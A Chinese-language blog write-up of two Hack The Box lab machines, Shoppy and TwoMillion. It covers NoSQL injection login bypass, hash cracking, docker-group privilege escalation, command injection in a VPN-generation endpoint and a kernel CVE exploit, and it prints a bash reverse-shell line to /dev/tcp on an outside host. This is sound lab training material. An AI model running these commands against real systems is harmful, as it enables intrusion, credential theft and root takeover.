HTB:Shoppy&TwoMillion
最后更新时间:
文章总字数:
预计阅读时间:
HTB:Shoppy&TwoMillion
鹏城杯线下有机会接触到各种服务的内部系统,并进行渗透测试,现在准备准备,正好也入门一下一直想做做的渗透,以后可以去护护网。感觉 HTB 比 vulnhub 要新一点,而且 wp 很全,打打看看。
Shoppy
常规信息收集
https://boogipop.com/2023/03/02/Shoppy/
nmap 扫,22 ssh 和 80 端口
切换 root ,echo 10.10.11.180 shoppy.htb >> /etc/hosts,才能正常解析访问 80 的 web 服务。
主页无特征,爆破子目录 dirsearch -u shoppy.htb -x 301
NoSql 注入
访问 login ,登录页面抓包分析,爆破 admin 密码无果,进行常规的 sql 注入尝试也没有结果,学习 nosql 注入:
https://zhuanlan.zhihu.com/p/345342966
https://caidexin.top/2021/06/11/blog_formal/security/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/NoSQL%E6%B3%A8%E5%85%A5/
NoSQL(Not only SQL) 是对不同于传统的关系数据库的数据库管理系统的统称,即广义地来说可以把所有不是关系型数据库的数据库统称为 NoSQL 。传统数据库严格使用库,表,列来索引,而 noSql 有键值对,图表等多样的存储数据方式。
这里抓包发现数据是这样传输的: username=1&password=1
,使用 nosql 的万能密码成功用 admin 账户登录后台(&& 优先级高于 ||):
通过万能密码也能在搜索栏搜出所有项:
返回的 json 文件里面就有用户的密码 hash 和用户名。
将 hash 加入到一个 txt 使用 hashcat 加上 kali 自带的字典用来爆破:
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
6ebcea65320589ca4f2f1ce039975995:remembermethisway
爆出了 josh 用户的密码,没有 admin 的,尝试 ssh 登录失败,推测存在子站,可以用 josh 登录。使用 wfuzz 扫描子站。
wfuzz 扫描
wfuzz 更多更全的词典 https://github.com/danielmiessler/SecLists
wfuzz 使用方法 https://blog.csdn.net/JBlock/article/details/88619117 需要模糊测试的地方打上 FUZZ 标记,这里使用的 payload :fuzz -c -w /usr/share/wfuzz/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host:FUZZ.shoppy.htb" --hc 301
-c 表示有颜色显示,-w 指定字典,-u 指定 url,-H 指定请求头,通过请求头里 Host: FUZZ.shoppy.htb 访问 10.10.11.180,–hc 指定什么样的结果算成功,如果出现 301 跳转状态码,说明子站确实存在。
wfuzz 遇到个问题 pycurl-ssl: https://www.coder.work/article/7764182
解决方法:首先卸载它。 (对于基于 Debian 的系统)sudo apt --purge remove python3-pycurl
并安装 pycurl
的依赖项:sudo apt install libcurl4-openssl-dev libssl-dev
然后重新安装sudo pip3 install pycurl wfuzz
扫到了 mattermost.shoppy.htb,同样增加一行解析:echo “10.10.11.180 mattermost.shoppy.htb” | sudo tee -a /etc/hosts
mattermost 是一个在线聊天的服务,在里面翻翻找找聊天记录,可以做一些信息收集:
jaeger 是 boss ,jess 同事,tigrou 猫。这里更是直接发现了 ssh 登录的账户密码:
Sh0ppyBest@pp!
ssh 登录之后获得第一个 flag 在 home 目录下。
逆向可执行程序
进入提权阶段,先 sudo -l 看一下可用 sudo 的命令,发现:
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
进入到这个目录发现确实只有 deploy 用户可以执行 password-manager,sudo -u 以 deploy 身份执行之后要输入 master password,尝试无果,且看到旁边的 cpp 可以推断这是个由 cpp 文件生成的可执行文件,获取该可执行文件,逆向分析一下(对可执行文件的常见分析)
可以使用 ida,这里为了方便直接使用 kali 自带的工具 radare2 来静态分析:r2 password-manager
aaa //自动分析命名函数
afl //查看程序内的函数
找到了main函数,先定位到mains main //定位到main
pdf //生成汇编代码
大概就是将输入和 Sample 做比较,通过之后会读取 cred.txt,也就是说 Sample 就是需要的密码。得到 deploy 账户的密码。
docker 组提权
发现是 docker 组用户,直接 docker 提权,将外部目录(root 目录)挂载到镜像里,再启动镜像,直接访问该目录即可。
docker images
docker run -it -v /root:/mnt alpine
cd /mnt && ls -al
访问 root.txt 拿到第二个 flag,靶机结束。
TwoMillion
常规信息收集
扫描有 22,80 端口,80 点进去一个注册页面,需要邀请码,查看源码,找到可能有邀请码生成逻辑的 js 文件(也可以通过 bp 抓包看流量或者直接 F12 看加载的文件,登录页面的一种常见思路)
js 混淆
然后。。。发现看不懂这段 js ,直接贴到 chatgpt,发现是一段经过了混淆的代码,且 chatgpt 自动帮你解了(de4js 也行: https://lelinhtinh.github.io/de4js/ )
1 | function verifyInviteCode(code) { |
请求伪造
根据下面的 makeInviteCode 发送请求。
rot13 解码之后提示访问另一个路由,base64 解码获得邀请码,成功登录。
点击下载 vpn 抓包,可以看到 /api/v1/user/vpn/generate ,于是访问 /api/v1 列出 endpoints
访问 /auth 和 /vpn/generate 都鉴权错,访问 /settings/update 根据返回慢慢改错,最终获得 admin 权限,再访问 auth 已经变成了 true:
命令拼接注入
访问 /vpn/generate,发现需要获取我们输入的信息,上网查询 openvpn 生成 ovpn 文件,推测这里可能存在命令拼接,将我们的输入插到了 linux 命令中。
于是使用分号进行命令拼接,注入成功:
利用反弹 shell 命令:bash -i >& /dev/tcp/10.10.16.6/4444 0>&1,由于命令里面有特殊符号,于是利用 base64 先编码,再管道符解码,再 bash 执行。
获得 www-data 的 shell 之后,看 /etc/passwd,发现是有一个 admin 账户
www-data html 目录下有一个 env 文件,里面写了 DB 的帐号和密码,正好也是 admin,尝试 ssh admin 登录。
登录成功之后提示有一封邮件,linux 邮件一般放在 /var/spool/mail/username 里,也可以直接使用 mail 命令查看,这里发现没有装 mail,直接查看 /var/spool/mail/admin,提示使用今年的 OverlayFS/FUSE linux 内核 CVE。
上网一查可以知道是 CVE-2023-0386,下面是详细分析的文章:
https://blog.csdn.net/song_lee/article/details/131245481
exploit:
https://github.com/xkaneiki/CVE-2023-0386
scp 上传到目标,注意权限问题,最好上传到 /tmp
代码如下:
scp local_file remote_username@remote_ip:remote_folder
或者
scp local_file remote_username@remote_ip:remote_file
https://blog.csdn.net/qq_34374664/article/details/81289540
根据 readme 操作一波,成功提权,得到第二个 flag 。